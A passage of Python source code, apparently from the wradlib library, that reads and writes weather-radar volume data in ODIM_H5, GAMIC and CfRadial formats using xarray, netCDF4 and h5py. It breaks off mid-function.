{\n                \"version\": \"None\",\n                \"title\": \"None\",\n                \"institution\": \"None\",\n                \"references\": \"None\",\n                \"source\": \"None\",\n                \"history\": \"None\",\n                \"comment\": \"im/exported using wradlib\",\n                \"instrument_name\": \"None\",\n            }\n        )\n        attrs[\"version\"] = self.what[\"version\"]\n        root = root.assign_attrs(attrs)\n        root = root.assign_attrs(self.attrs)\n        self._root = root\n\n    @property\n    def site(self):\n        \"\"\"Return coordinates of radar site.\"\"\"\n        ds = xr.Dataset(coords=self.where).rename(\n            {\"height\": \"altitude\", \"lon\": \"longitude\", \"lat\": \"latitude\"}\n        )\n        return ds\n\n    @property\n    def Conventions(self):\n        \"\"\"Return Conventions string.\"\"\"\n        try:\n            conv = self.ncid.attrs[\"Conventions\"]\n        except KeyError:\n            conv = None\n        return conv\n\n    def to_odim(self, filename, timestep=0):\n        \"\"\"Save volume to ODIM_H5/V2_2 compliant file.\n\n        Parameters\n        ----------\n        filename : str\n            Name of the output file\n        timestep : int\n            timestep of wanted volume\n        \"\"\"\n        if self.root:\n            to_odim(self, filename, timestep=timestep)\n        else:\n            warnings.warn(\n                \"WRADLIB: No OdimH5-compliant data structure \" \"available. Not saving.\",\n                UserWarning,\n            )\n\n    def to_cfradial2(self, filename, timestep=0):\n        \"\"\"Save volume to CfRadial2 compliant file.\n\n        Parameters\n        ----------\n        filename : str\n            Name of the output file\n        timestep : int\n            timestep wanted volume\n        \"\"\"\n        if self.root:\n            to_cfradial2(self, filename, timestep=timestep)\n        else:\n            warnings.warn(\n                \"WRADLIB: No CfRadial2-compliant data structure \"\n                \"available. Not saving.\",\n                UserWarning,\n            )\n\n    def to_netcdf(self, filename, timestep=None, keys=None):\n        \"\"\"Save volume to netcdf compliant file.\n\n        Parameters\n        ----------\n        filename : str\n            Name of the output file\n        timestep : int, slice\n            timestep/slice of wanted volume\n        keys : list\n            list of sweep_group_names which should be written to the file\n        \"\"\"\n        if self.root:\n            to_netcdf(self, filename, keys=keys, timestep=timestep)\n        else:\n            warnings.warn(\n                \"WRADLIB: No netcdf-compliant data structure \" \"available. Not saving.\",\n                UserWarning,\n            )\n\n\n@deprecation.deprecated(\n    deprecated_in=\"1.10\",\n    removed_in=\"2.0\",\n    current_version=version.version,\n    details=\"Use xarray BackendEntrypoint based functionality instead.\",\n)\ndef collect_by_time(obj):\n    \"\"\"Collect XRadSweep objects having same time\n\n    Parameters\n    ----------\n    obj : list\n        list of XRadSweep objects\n\n    Returns\n    -------\n    out : XRadTimeSeries\n        wrapper around list of XRadSweep objects\n    \"\"\"\n    out = XRadTimeSeries()\n    if isinstance(obj, XRadSweep):\n        obj = [obj]\n    times = [ds._get_time_fast() for ds in obj]\n    unique_times = np.array(sorted(list(set(times))))\n    if len(unique_times) == len(obj):\n        out.extend(obj)\n        out.sort(key=lambda x: x._get_time_fast())\n    else:\n        # runs only if several files for the same timestep are available\n        # eg DWD's one sweep one moment files\n        for t in unique_times:\n            idx = np.argwhere(times == t).flatten()\n            out1 = obj[idx[0]]\n            [out1.extend(obj[i]) for i in idx[1:]]\n            out.append(out1)\n    return out\n\n\n@deprecation.deprecated(\n    deprecated_in=\"1.10\",\n    removed_in=\"2.0\",\n    current_version=version.version,\n    details=\"Use xarray BackendEntrypoint based functionality instead.\",\n)\ndef collect_by_angle(obj):\n    \"\"\"Collect XRadSweep objects having same angle\n\n    Parameters\n    ----------\n    obj : list\n        list of XRadSweep objects\n\n    Returns\n    -------\n    out : XRadVolume\n        wrapper around nested list of XRadSweep objects\n    \"\"\"\n    out = XRadVolume()\n    angles = [ds.fixed_angle for ds in obj]\n    unique_angles = list(set(angles))\n    if len(unique_angles) == len(obj):\n        out.extend(obj)\n    else:\n        for a in unique_angles:\n            idx = np.argwhere(angles == a).flatten()\n            merge_list = [obj[i] for i in idx]\n            out.append(merge_list)\n    return out\n\n\ndef _open_odim_sweep(filename, loader, **kwargs):\n    \"\"\"Returns list of XRadSweep objects\n\n    Every sweep will be put into it's own class instance.\n    \"\"\"\n    ld_kwargs = kwargs.get(\"ld_kwargs\", {})\n    if loader == \"netcdf4\":\n        opener = nc.Dataset\n        attr = \"groups\"\n    elif loader == \"h5netcdf\":\n        opener = h5netcdf.File\n        attr = \"keys\"\n        ld_kwargs[\"phony_dims\"] = \"access\"\n    else:\n        opener = h5py.File\n        attr = \"keys\"\n\n    dsdesc = \"dataset\"\n    sweep_cls = XRadSweepOdim\n    if \"GAMIC\" in kwargs.get(\"flavour\", \"ODIM\"):\n        if loader == \"netcdf4\":\n            raise ValueError(\n                \"wradlib: GAMIC files can't be read using netcdf4\"\n                \" loader. Use either 'h5py' or 'h5netcdf.\"\n            )\n        dsdesc = \"scan\"\n        sweep_cls = XRadSweepGamic\n\n    # open file\n    if not isinstance(filename, str):\n        if opener == h5py.File:\n            raise ValueError(\n                \"wradlib: file-like objects can't be read using h5py \"\n                \"loader. Use either 'netcdf4' or 'h5netcdf'.\"\n            )\n        if opener == nc.Dataset:\n            handle = opener(\n                f\"{str(filename)}\", mode=\"r\", memory=filename.read(), **ld_kwargs\n            )\n        else:\n            handle = opener(filename, \"r\", **ld_kwargs)\n    else:\n        handle = opener(filename, \"r\", **ld_kwargs)\n\n    # get group names\n    fattr = getattr(handle, attr)\n    if callable(fattr):\n        groups = list(fattr())\n    else:\n        groups = list(fattr)\n\n    # iterate over single sweeps\n    # todo: if sorting does not matter, we can skip this\n    sweeps = [k for k in groups if dsdesc in k]\n    sweeps_idx = np.argsort([int(s[len(dsdesc) :]) for s in sweeps])\n    sweeps = np.array(sweeps)[sweeps_idx].tolist()\n    return [sweep_cls(handle, k, **kwargs) for k in sweeps]\n\n\n@deprecation.deprecated(\n    deprecated_in=\"1.10\",\n    removed_in=\"2.0\",\n    current_version=version.version,\n    details=\"Use the appropriate `wradlib.io.open_{engine}_dataset` or `wradlib.io.open_{engine}_mfdataset` function.\",\n)\ndef open_odim(paths, loader=\"netcdf4\", **kwargs):\n    \"\"\"Open multiple ODIM files as a XRadVolume structure.\n\n    Parameters\n    ----------\n    paths : str or sequence\n        Either a filename or string glob in the form `'path/to/my/files/*.h5'`\n        or an explicit list of files to open.\n\n    loader : {'netcdf4', 'h5py', 'h5netcdf'}\n        Loader used for accessing file metadata, defaults to 'netcdf4'.\n\n    kwargs : optional\n        Additional arguments passed on to :py:class:`wradlib.io.XRadSweep`.\n    \"\"\"\n    if (loader == \"h5netcdf\") & (\n        LooseVersion(h5netcdf.__version__) < LooseVersion(\"0.8.0\")\n    ):\n        warnings.warn(\n            f\"WRADLIB: 'h5netcdf>=0.8.0' needed to perform this \"\n            f\"operation. 'h5netcdf={h5netcdf.__version__} \"\n            f\"available.\",\n            UserWarning,\n        )\n\n    if isinstance(paths, str):\n        paths = glob.glob(paths)\n    else:\n        paths = np.array(paths).flatten().tolist()\n\n    if loader not in [\"netcdf4\", \"h5netcdf\", \"h5py\"]:\n        raise ValueError(\"wradlib: Unknown loader: {}\".format(loader))\n\n    sweeps = []\n    [\n        sweeps.extend(_open_odim_sweep(f, loader, **kwargs))\n        for f in tqdm(paths, desc=\"Open\", unit=\" Files\", leave=None)\n    ]\n    angles = collect_by_angle(sweeps)\n    for i in tqdm(range(len(angles)), desc=\"Collecting\", unit=\" Angles\", leave=None):\n        angles[i] = collect_by_time(angles[i])\n    angles.sort(key=lambda x: x[0].time)\n    for f in angles:\n        f._parent = angles\n    angles._ncfile = angles[0].ncfile\n    angles._ncpath = \"/\"\n    return angles\n\n\nclass XRadVolFile(object):\n    \"\"\"BaseClass for holding netCDF4.Dataset handles\"\"\"\n\n    def __init__(self, filename=None, flavour=None, **kwargs):\n        self._filename = filename\n        self._nch = None\n        self._flavour = None\n        self._nch, self._flavour = self._check_file(filename, flavour)\n\n    def _check_file(self, filename, flavour):\n        raise NotImplementedError\n\n    def __del__(self):\n        if self._nch is not None:\n            self._nch.close()\n\n    @property\n    def filename(self):\n        return self._filename\n\n    @property\n    def nch(self):\n        return self._nch\n\n    @property\n    def flavour(self):\n        return self._flavour\n\n\nclass OdimH5File(XRadVolFile):\n    \"\"\"Class for holding netCDF4.Dataset handles of OdimH5 files\n\n    Parameters\n    ----------\n    filename : str\n        Source data file name.\n    flavour : str\n        Name of hdf5 flavour ('ODIM' or 'GAMIC'). Defaults to 'ODIM'.\n    \"\"\"\n\n    def __init__(self, filename=None, flavour=None, **kwargs):\n        super(OdimH5File, self).__init__(filename=filename, flavour=flavour, **kwargs)\n\n    def _check_file(self, filename, flavour):\n        nch = nc.Dataset(filename, diskless=True, persist=False)\n        if nch.disk_format != \"HDF5\":\n            raise TypeError(\n                'wradlib: File {} is neither \"NETCDF4\" (using HDF5 groups) '\n                'nor plain \"HDF5\".'.format(filename)\n            )\n        if flavour is None:\n            try:\n                flavour = nch.Conventions\n            except AttributeError as e:\n                raise AttributeError(\n                    'wradlib: Missing \"Conventions\" attribute in {} ./n'\n                    'Use the \"flavour\" kwarg to specify your source '\n                    \"data.\".format(filename)\n                ) from e\n            if \"ODIM\" not in flavour:\n                raise AttributeError(\n                    'wradlib: \"Conventions\" attribute \"{}\" in {} is unknown./n'\n                    'Use the \"flavour\" kwarg to specify your source '\n                    \"data.\".format(flavour, filename)\n                )\n\n        if \"ODIM\" in flavour:\n            self._dsdesc = \"dataset\"\n            self._swmode = \"product\"\n            self._mfmt = \"data\"\n            self._msrc = \"groups\"\n        elif \"GAMIC\" in flavour:\n            self._dsdesc = \"scan\"\n            self._swmode = \"scan_type\"\n            self._mfmt = \"moment_\"\n            self._msrc = \"variables\"\n        else:\n            raise AttributeError(\n                'wradlib: Unknown \"flavour\" kwarg attribute: {} .' \"\".format(flavour)\n            )\n\n        return nch, flavour\n\n    @property\n    def flavour(self):\n        flv = [\"ODIM\", \"GAMIC\"]\n        return [s for s in flv if s in self._flavour][0]\n\n\nclass NetCDF4File(XRadVolFile):\n    \"\"\"Class for holding netCDF4.Dataset handles of Cf/Radial files\n\n    Parameters\n    ----------\n    filename : str\n        Source data file name.\n    flavour : str\n        Name of flavour ('Cf/Radial' or 'Cf/Radial2').\n    \"\"\"\n\n    def __init__(self, filename=None, flavour=None, **kwargs):\n        super(NetCDF4File, self).__init__(filename=filename, flavour=flavour, **kwargs)\n\n    def _check_file(self, filename, flavour):\n        nch = nc.Dataset(filename, diskless=True, persist=False)\n        if flavour is None:\n            try:\n                Conventions = nch.Conventions\n                version = nch.version\n            except AttributeError as e:\n                raise AttributeError(\n                    'wradlib: Missing \"Conventions\" attribute in {} ./n'\n                    'Use the \"flavour\" kwarg to specify your source'\n                    \"data.\".format(filename)\n                ) from e\n            if \"cf/radial\" in Conventions.lower():\n                if version == \"2.0\":\n                    flavour = \"Cf/Radial2\"\n                else:\n                    flavour = \"Cf/Radial\"\n\n        if flavour not in [\"Cf/Radial\", \"Cf/Radial2\"]:\n            raise AttributeError(\n                'wradlib: Unknown \"flavour\" kwarg attribute: {} .' \"\".format(flavour)\n            )\n\n        return nch, flavour\n\n\nclass XRadVol(collections.abc.MutableMapping):\n    \"\"\"BaseClass for xarray based RadarVolumes\n\n    Implements `collections.MutableMapping` dictionary.\n    \"\"\"\n\n    def __init__(self, init_root=False):\n        self._sweeps = dict()\n        self._nch = list()\n        self.root = None\n        self._sweep_angles = list()\n        self._sweep_names = list()\n        if init_root:\n            self._init_root()\n\n    def __getitem__(self, key):\n        if key == \"root\":\n            warnings.warn(\n                \"WRADLIB: Use of `obj['root']` is deprecated, \"\n                \"please use obj.root instead.\",\n                DeprecationWarning,\n            )\n            return self._root\n\n        return self._sweeps[key]\n\n    def __setitem__(self, key, value):\n        if key in self._sweeps:\n            self._sweeps[key] = value\n        else:\n            warnings.warn(\n                \"WRADLIB: Use class methods to add data. \"\n                \"Direct setting is not allowed.\",\n                UserWarning,\n            )\n\n    def __delitem__(self, key):\n        del self._sweeps[key]\n\n    def __iter__(self):\n        return iter(self._sweeps)\n\n    def __len__(self):\n        return len(self._sweeps)\n\n    def __repr__(self):\n        return self._sweeps.__repr__()\n\n    def __del__(self):\n        del self._root\n        for k in list(self._sweeps):\n            del k\n        for k in self._nch:\n            del k\n\n    def _init_root(self):\n        self.root = xr.Dataset(data_vars=global_variables, attrs=global_attrs)\n\n    @property\n    def root(self):\n        \"\"\"Return `root` dataset.\"\"\"\n        return self._root\n\n    @root.setter\n    def root(self, value):\n        self._root = value\n\n    @property\n    def sweep_angles(self):\n        if self.root is None:\n            return self._sweep_angles\n        return list(self.root.sweep_fixed_angle.values)\n\n    @sweep_angles.setter\n    def sweep_angles(self, value):\n        if self.root is None:\n            self._sweep_angles.append(value)\n\n    @property\n    def sweep_names(self):\n        if self.root is None:\n            return self._sweep_names\n        else:\n            return list(self.root.sweep_group_name.values)\n\n    @sweep_names.setter\n    def sweep_names(self, value):\n        if self.root is None:\n            self._sweep_names.append(value)\n\n    @property\n    def sweep(self):\n        \"\"\"Return sweep dimension count.\"\"\"\n        return self.root.dims[\"sweep\"]\n\n    @property\n    def sweeps(self):\n        \"\"\"Return zip sweep names, sweep_angles\"\"\"\n        return zip(self.sweep_names, self.sweep_angles)\n\n    @property\n    def location(self):\n        \"\"\"Return location of data source.\"\"\"\n        return (\n            self.root.longitude.values.item(),\n            self.root.latitude.values.item(),\n            self.root.altitude.values.item(),\n        )\n\n    @property\n    def Conventions(self):\n        \"\"\"Return CF/ODIM `Conventions`.\"\"\"\n        return self.root.Conventions\n\n    @property\n    def version(self):\n        \"\"\"Return CF/ODIM version\"\"\"\n        return self.root.version\n\n    def to_cfradial2(self, filename):\n        \"\"\"Save volume to CfRadial2.0 compliant file.\n\n        Parameters\n        ----------\n        filename : str\n            Name of the output file\n        \"\"\"\n        if self.root:\n            to_cfradial2(self, filename)\n        else:\n            warnings.warn(\n                \"WRADLIB: No CfRadial2-compliant data structure \"\n                \"available. Not saving.\",\n                UserWarning,\n            )\n\n    def to_odim(self, filename):\n        \"\"\"Save volume to ODIM_H5/V2_2 compliant file.\n\n        Parameters\n        ----------\n        filename : str\n            Name of the output file\n        \"\"\"\n        if self.root:\n            to_odim(self, filename)\n        else:\n            warnings.warn(\n                \"WRADLIB: No OdimH5-compliant data structure \" \"available. Not saving.\",\n                UserWarning,\n            )\n\n    def georeference(self, sweeps=None):\n        \"\"\"Georeference sweeps\n\n        Parameters\n        ----------\n        sweeps : list\n            list with sweep keys to georeference, defaults to all sweeps\n        \"\"\"\n        if sweeps is None:\n            sweeps = self\n\n        for swp in sweeps:\n            self[swp] = self[swp].pipe(xarray.georeference_dataset)\n\n\nclass CfRadial(XRadVol):\n    \"\"\"Class for xarray based retrieval of CfRadial data files\"\"\"\n\n    @deprecation.deprecated(\n        deprecated_in=\"1.10\",\n        removed_in=\"2.0\",\n        current_version=version.version,\n        details=\"Use xarray BackendEntrypoint based functionality instead.\",\n    )\n    def __init__(self, filename=None, flavour=None, **kwargs):\n        \"\"\"Initialize xarray structure from Cf/Radial data structure.\n\n        Parameters\n        ----------\n        filename : str\n            Source data file name.\n        flavour : str\n            Name of flavour ('Cf/Radial' or 'Cf/Radial2').\n\n        Keyword Arguments\n        -----------------\n        decode_times : bool\n            If True, decode cf times to np.datetime64. Defaults to True.\n        decode_coords : bool\n            If True, use the \u2018coordinates\u2019 attribute on variable\n            to assign coordinates. Defaults to True.\n        mask_and_scale : bool\n            If True, lazily scale (using scale_factor and add_offset)\n            and mask (using _FillValue). Defaults to True.\n        chunks : int | dict, optional\n            If chunks is provided, it used to load the new dataset into dask\n            arrays. chunks={} loads the dataset with dask using a single\n            chunk for all arrays.\n        georef : bool\n            If True, adds 2D AEQD x,y,z-coordinates, ground_range (gr) and\n            2D (rays,bins)-coordinates for easy georeferencing (eg. cartopy)\n        dim0 : str\n            name of the ray-dimension of DataArrays and Dataset:\n                * `time` - cfradial2 standard\n                * `azimuth` - better for working with xarray\n        \"\"\"\n        super(CfRadial, self).__init__()\n        if not isinstance(filename, list):\n            filename = [filename]\n        for i, f in enumerate(filename):\n            nch = NetCDF4File(f, flavour=flavour)\n            self._nch.append(nch)\n            if nch.flavour == \"Cf/Radial2\":\n                self.assign_data_radial2(nch, **kwargs)\n            else:\n                self.assign_data_radial(nch, **kwargs)\n\n    def assign_data_radial2(self, nch, **kwargs):\n        \"\"\"Assign from CfRadial2 data structure.\n\n        Parameters\n        ----------\n        nch : NetCDF4File object\n\n        Keyword Arguments\n        -----------------\n        decode_times : bool\n            If True, decode cf times to np.datetime64. Defaults to True.\n        decode_coords : bool\n            If True, use the \u2018coordinates\u2019 attribute on variable\n            to assign coordinates. Defaults to True.\n        mask_and_scale : bool\n            If True, lazily scale (using scale_factor and add_offset)\n            and mask (using _FillValue). Defaults to True.\n        chunks : int | dict, optional\n            If chunks is provided, it used to load the new dataset into dask\n            arrays. chunks={} loads the dataset with dask using a single\n            chunk for all arrays.\n        georef : bool\n            If True, adds 2D AEQD x,y,z-coordinates, ground_range (gr) and\n            2D (rays,bins)-coordinates for easy georeferencing (eg. cartopy)\n        dim0 : str\n            name of the ray-dimension of DataArrays and Dataset:\n                * `time` - cfradial2 standard\n                * `azimuth` - better for working with xarray\n        \"\"\"\n        # keyword argument handling\n        georef = kwargs.pop(\"georef\", False)\n        dim0 = kwargs.pop(\"dim0\", \"time\")\n\n        self.root = _open_dataset(nch.nch, grp=None, **kwargs)\n        sweepnames = self.root.sweep_group_name.values\n        for sw in sweepnames:\n            ds = _open_dataset(nch.nch, grp=sw, **kwargs)\n            ds = ds.swap_dims({\"time\": dim0})\n            coords = {\n                \"longitude\": self.root.longitude,\n                \"latitude\": self.root.latitude,\n                \"altitude\": self.root.altitude,\n                \"azimuth\": ds.azimuth,\n                \"elevation\": ds.elevation,\n            }\n            ds = ds.assign_coords(**coords)\n\n            # adding xyz aeqd-coordinates\n            if georef:\n                ds = xarray.georeference_dataset(ds)\n\n            self._sweeps[sw] = ds\n\n    def assign_data_radial(self, nch, **kwargs):\n        \"\"\"Assign from CfRadial1 data structure.\n\n        Keyword Arguments\n        -----------------\n        decode_times : bool\n            If True, decode cf times to np.datetime64. Defaults to True.\n        decode_coords : bool\n            If True, use the \u2018coordinates\u2019 attribute on variable\n            to assign coordinates. Defaults to True.\n        mask_and_scale : bool\n            If True, lazily scale (using scale_factor and add_offset)\n            and mask (using _FillValue). Defaults to True.\n        chunks : int | dict, optional\n            If chunks is provided, it used to load the new dataset into dask\n            arrays. chunks={} loads the dataset with dask using a single\n            chunk for all arrays.\n        georef : bool\n            If True, adds 2D AEQD x,y,z-coordinates, ground_range (gr) and\n            2D (rays,bins)-coordinates for easy georeferencing (eg. cartopy)\n        dim0 : str\n            name of the ray-dimension of DataArrays and Dataset:\n                * `time` - cfradial2 standard\n                * `azimuth` - better for working with xarray\n        \"\"\"\n        # keyword argument handling\n        georef = kwargs.pop(\"georef\", False)\n        dim0 = kwargs.pop(\"dim0\", \"time\")\n\n        root = _open_dataset(nch.nch, grp=None, **kwargs)\n        var = root.variables.keys()\n        remove_root = var ^ root_vars\n        remove_root &= var\n        root1 = root.drop_vars(remove_root).rename({\"fixed_angle\": \"sweep_fixed_angle\"})\n        sweep_group_name = []\n        for i in range(root1.dims[\"sweep\"]):\n            sweep_group_name.append(\"sweep_{}\".format(i + 1))\n        self.root = root1.assign({\"sweep_group_name\": ([\"sweep\"], sweep_group_name)})\n\n        keep_vars = sweep_vars1 | sweep_vars2 | sweep_vars3\n        remove_vars = var ^ keep_vars\n        remove_vars &= var\n        data = root.drop_vars(remove_vars)\n        data.attrs = {}\n        start_idx = data.sweep_start_ray_index.values\n        end_idx = data.sweep_end_ray_index.values\n        data = data.drop_vars({\"sweep_start_ray_index\", \"sweep_end_ray_index\"})\n        for i, sw in enumerate(sweep_group_name):\n            tslice = slice(start_idx[i], end_idx[i])\n            ds = data.isel(time=tslice, sweep=slice(i, i + 1)).squeeze(\"sweep\")\n            ds = ds.swap_dims({\"time\": dim0})\n            ds.sweep_mode.load()\n            coords = {\n                \"longitude\": self.root.longitude,\n                \"latitude\": self.root.latitude,\n                \"altitude\": self.root.altitude,\n                \"azimuth\": ds.azimuth,\n                \"elevation\": ds.elevation,\n                \"sweep_mode\": ds.sweep_mode.item().decode(),\n            }\n            ds = ds.assign_coords(**coords)\n\n            # adding xyz aeqd-coordinates\n            if georef:\n                ds = xarray.georeference_dataset(ds)\n\n            self._sweeps[sw] = ds\n\n\nclass OdimH5(XRadVol):\n    \"\"\"Class for xarray based retrieval of ODIM_H5 data files\"\"\"\n\n    @deprecation.deprecated(\n        deprecated_in=\"1.10\",\n        removed_in=\"2.0\",\n        current_version=version.version,\n        details=\"Use xarray BackendEntrypoint based functionality instead.\",\n    )\n    def __init__(self, filename=None, flavour=None, **kwargs):\n        \"\"\"Initialize xarray structure from hdf5 data structure.\n\n        Parameters\n        ----------\n        filename : str\n            Source data file name.\n        flavour : str\n            Name of hdf5 flavour ('ODIM' or 'GAMIC'). Defaults to 'ODIM'.\n\n        Keyword Arguments\n        -----------------\n        decode_times : bool\n            If True, decode cf times to np.datetime64. Defaults to True.\n        decode_coords : bool\n            If True, use the \u2018coordinates\u2019 attribute on variable\n            to assign coordinates. Defaults to True.\n        mask_and_scale : bool\n            If True, lazily scale (using scale_factor and add_offset)\n            and mask (using _FillValue). Defaults to True.\n        chunks : int | dict, optional\n            If chunks is provided, it used to load the new dataset into dask\n            arrays. chunks={} loads the dataset with dask using a single\n            chunk for all arrays.\n        georef : bool\n            If True, adds 2D AEQD x,y,z-coordinates, ground_range (gr) and\n            2D (rays,bins)-coordinates for easy georeferencing (eg. cartopy)\n        standard : str\n            * `none` - data is read as verbatim as possible, no metadata\n            * `odim` - data is read, odim metadata added to datasets\n            * `cf-mandatory` - data is read according to cfradial2 standard\n              importing mandatory metadata\n            * `cf-full` - data is read according to cfradial2 standard\n              importing all available cfradial2 metadata (not fully\n              implemented)\n        dim0 : str\n            name of the ray-dimension of DataArrays and Dataset:\n                * `time` - cfradial2 standard\n                * `azimuth` - better for working with xarray\n        \"\"\"\n        super(OdimH5, self).__init__()\n\n        if not isinstance(filename, list):\n            filename = [filename]\n\n        if len(filename) == 0:\n            raise ValueError(\"File list empty\")\n\n        for f in filename:\n            self.assign_data(f, flavour=flavour, **kwargs)\n\n        if \"cf\" in kwargs.get(\"standard\", \"cf-mandatory\"):\n            self.assign_root()\n\n    def assign_data(self, filename, flavour=None, **kwargs):\n        \"\"\"Assign xarray dataset from hdf5 data structure.\n\n        Parameters\n        ----------\n        filename : str\n            Source data file name.\n        flavour : str\n            Name of hdf5 flavour ('ODIM' or 'GAMIC'). Defaults to 'ODIM'.\n\n        Keyword Arguments\n        -----------------\n        decode_times : bool\n            If True, decode cf times to np.datetime64. Defaults to True.\n        decode_coords : bool\n            If True, use the \u2018coordinates\u2019 attribute on variable\n            to assign coordinates. Defaults to True.\n        mask_and_scale : bool\n            If True, lazily scale (using scale_factor and add_offset)\n            and mask (using _FillValue). Defaults to True.\n        chunks : int | dict, optional\n            If chunks is provided, it used to load the new dataset into dask\n            arrays. chunks={} loads the dataset with dask using a single\n            chunk for all arrays.\n        georef : bool\n            If True, adds 2D AEQD x,y,z-coordinates, ground_range (gr) and\n            2D (rays,bins)-coordinates for easy georeferencing (eg. cartopy).\n            Defaults to False.\n        standard : str\n            * `none` - data is read as verbatim as possible, no metadata\n            * `odim` - data is read, odim metadata added to datasets\n            * `cf-mandatory` - data is read according to cfradial2 standard\n              importing mandatory metadata, default value\n            * `cf-full` - data is read according to cfradial2 standard\n              importing all available cfradial2 metadata (not fully\n              implemented)\n        dim0 : str\n            name of the ray-dimension of DataArrays and Dataset:\n                * `time` - cfradial2 standard, default value\n                * `azimuth` - better for working with xarray\n        \"\"\"\n        nch = OdimH5File(filename, flavour=flavour)\n        self._nch.append(nch)\n\n        # keyword argument handling\n        decode_times = kwargs.get(\"decode_times\", True)\n        decode_coords = kwargs.get(\"decode_coords\", True)\n        mask_and_scale = kwargs.get(\"mask_and_scale\", True)\n        georef = kwargs.get(\"georef\", False)\n        standard = kwargs.get(\"standard\", \"cf-mandatory\")\n        dim0 = kwargs.get(\"dim0\", \"time\")\n\n        # retrieve and assign global groups /how, /what, /where\n        groups = [\"how\", \"what\", \"where\"]\n        how, what, where = _get_odim_groups(nch.nch, groups)\n        rt_grps = {\"how\": how, \"what\": what, \"where\": where}\n\n        # sweep group handling\n        (src_swp_grp_name, swp_grp_name) = _get_odim_sweep_group_names(\n            nch.nch, nch._dsdesc\n        )\n\n        # iterate sweeps in file\n        for i, sweep in enumerate(src_swp_grp_name):\n            # retrieve ds and assign datasetX how/what/where group attributes\n            groups = [None, \"how\", \"what\", \"where\"]\n            ds, ds_how, ds_what, ds_where = _get_odim_groups(nch.nch[sweep], groups)\n            ds_grps = {\"how\": ds_how, \"what\": ds_what, \"where\": ds_where}\n\n            # moments\n            ds = _assign_odim_moments(ds, nch, sweep, **kwargs)\n\n            # retrieve and assign gamic ray_header\n            if nch.flavour == \"GAMIC\":\n                rh = _get_gamic_ray_header(nch.filename, i)\n                ds_grps[\"what\"] = ds_grps[\"what\"].assign(rh)\n\n            # coordinates wrap-up\n            vars = collections.OrderedDict()\n            coords = collections.OrderedDict()\n            if \"cf\" in standard or georef:\n                coords[\"longitude\"] = rt_grps[\"where\"].attrs[\"lon\"]\n                coords[\"latitude\"] = rt_grps[\"where\"].attrs[\"lat\"]\n                coords[\"altitude\"] = rt_grps[\"where\"].attrs[\"height\"]\n            if \"cf\" in standard or georef:\n                sweep_mode = _get_odim_sweep_mode(nch, ds_grps)\n                coords[\"sweep_mode\"] = sweep_mode\n            if \"cf\" in standard or decode_coords or georef:\n                coords.update(_get_odim_coordinates(nch, ds_grps))\n                # georeference needs coordinate variables\n                if georef:\n                    geods = xr.Dataset(vars, coords)\n                    geods = xarray.georeference_dataset(geods)\n                    coords.update(geods.coords)\n            # time coordinate\n            if \"cf\" in standard or decode_times:\n                timevals = _get_odim_timevalues(nch, ds_grps)\n                if decode_times:\n                    coords[\"time\"] = ([\"dim_0\"], timevals, time_attrs)\n                else:\n                    coords[\"time\"] = ([\"dim_0\"], timevals)\n\n            # assign global sweep attributes\n            fixed_angle = _get_odim_fixed_angle(nch, ds_grps)\n            if \"cf\" in standard:\n                vars.update(\n                    {\n                        \"sweep_number\": i,\n                        \"sweep_mode\": sweep_mode,\n                        \"follow_mode\": \"none\",\n                        \"prt_mode\": \"fixed\",\n                        \"fixed_angle\": fixed_angle,\n                    }\n                )\n            if \"cf-full\" in standard:\n                full_vars = _get_odim_full_vars(nch, ds_grps)\n                vars.update(full_vars)\n\n            # assign variables and coordinates\n            ds = ds.assign(vars)\n            ds = ds.assign_coords(**coords)\n            ds = ds.rename({\"dim_0\": dim0, \"dim_1\": \"range\"})\n\n            # decode dataset if requested\n            if decode_times or decode_coords or mask_and_scale:\n                ds = xr.decode_cf(\n                    ds,\n                    decode_times=decode_times,\n                    decode_coords=decode_coords,\n                    mask_and_scale=mask_and_scale,\n                )\n\n            # determine if same sweep\n            try:\n                index = self.sweep_angles.index(fixed_angle)\n            except ValueError:\n                nidx = len(self._sweeps) + 1\n                swp_grp_name = f\"sweep_{nidx}\"\n                self._sweeps[swp_grp_name] = ds\n                self.sweep_names.append(swp_grp_name)\n                self.sweep_angles.append(fixed_angle)\n            else:\n                dictkey = self.sweep_names[index]\n                self._sweeps[dictkey] = xr.merge([self._sweeps[dictkey], ds])\n\n    def assign_root(self):\n        # retrieve and assign global groups /how, /what, /where\n        first = self._nch[0]\n\n        groups = [\"how\", \"what\", \"where\"]\n        how, what, where = _get_odim_groups(first.nch, groups)\n        rt_grps = {\"how\": how, \"what\": what, \"where\": where}\n\n        # assign root variables\n        # extract time coverage\n        tmin = [ds.time.values.min() for ds in self._sweeps.values()]\n        time_coverage_start = min(tmin)\n        tmax = [ds.time.values.max() for ds in self._sweeps.values()]\n        time_coverage_end = max(tmax)\n\n        time_coverage_start_str = str(time_coverage_start)[:19] + \"Z\"\n        time_coverage_end_str = str(time_coverage_end)[:19] + \"Z\"\n\n        # create root group from scratch\n        root = xr.Dataset(data_vars=global_variables, attrs=global_attrs)\n\n        # assign root variables\n        root = root.assign(\n            {\n                \"volume_number\": 0,\n                \"platform_type\": str(\"fixed\"),\n                \"instrument_type\": \"radar\",\n                \"primary_axis\": \"axis_z\",\n                \"time_coverage_start\": time_coverage_start_str,\n                \"time_coverage_end\": time_coverage_end_str,\n                \"latitude\": rt_grps[\"where\"].attrs[\"lat\"],\n                \"longitude\": rt_grps[\"where\"].attrs[\"lon\"],\n                \"altitude\": rt_grps[\"where\"].attrs[\"height\"],\n                \"sweep_group_name\": ([\"sweep\"], self.sweep_names),\n                \"sweep_fixed_angle\": ([\"sweep\"], self.sweep_angles),\n            }\n        )\n\n        # assign root attributes\n        attrs = _get_odim_root_attributes(first, rt_grps)\n        root = root.assign_attrs(attrs)\n        self.root = root\n\n\ndef _write_odim(src, dest):\n    \"\"\"Writes Odim Attributes.\n\n    Parameters\n    ----------\n    src : dict\n        Attributes to write\n    dest : handle\n        h5py-group handle\n    \"\"\"\n    for key, value in src.items():\n        if key in dest.attrs:\n            continue\n        if isinstance(value, str):\n            tid = h5py.h5t.C_S1.copy()\n            tid.set_size(len(value) + 1)\n            H5T_C_S1_NEW = h5py.Datatype(tid)\n            dest.attrs.create(key, value, dtype=H5T_C_S1_NEW)\n        else:\n            dest.attrs[key] = value\n\n\ndef _write_odim_dataspace(src, dest):\n    \"\"\"Writes Odim Dataspaces.\n\n    Parameters\n    ----------\n    src : dict\n        Moments to write\n    dest : handle\n        h5py-group handle\n    \"\"\"\n    keys = [key for key in src if key in ODIM_NAMES]\n    data_list = [\"data{}\".format(i + 1) for i in range(len(keys))]\n    data_idx = 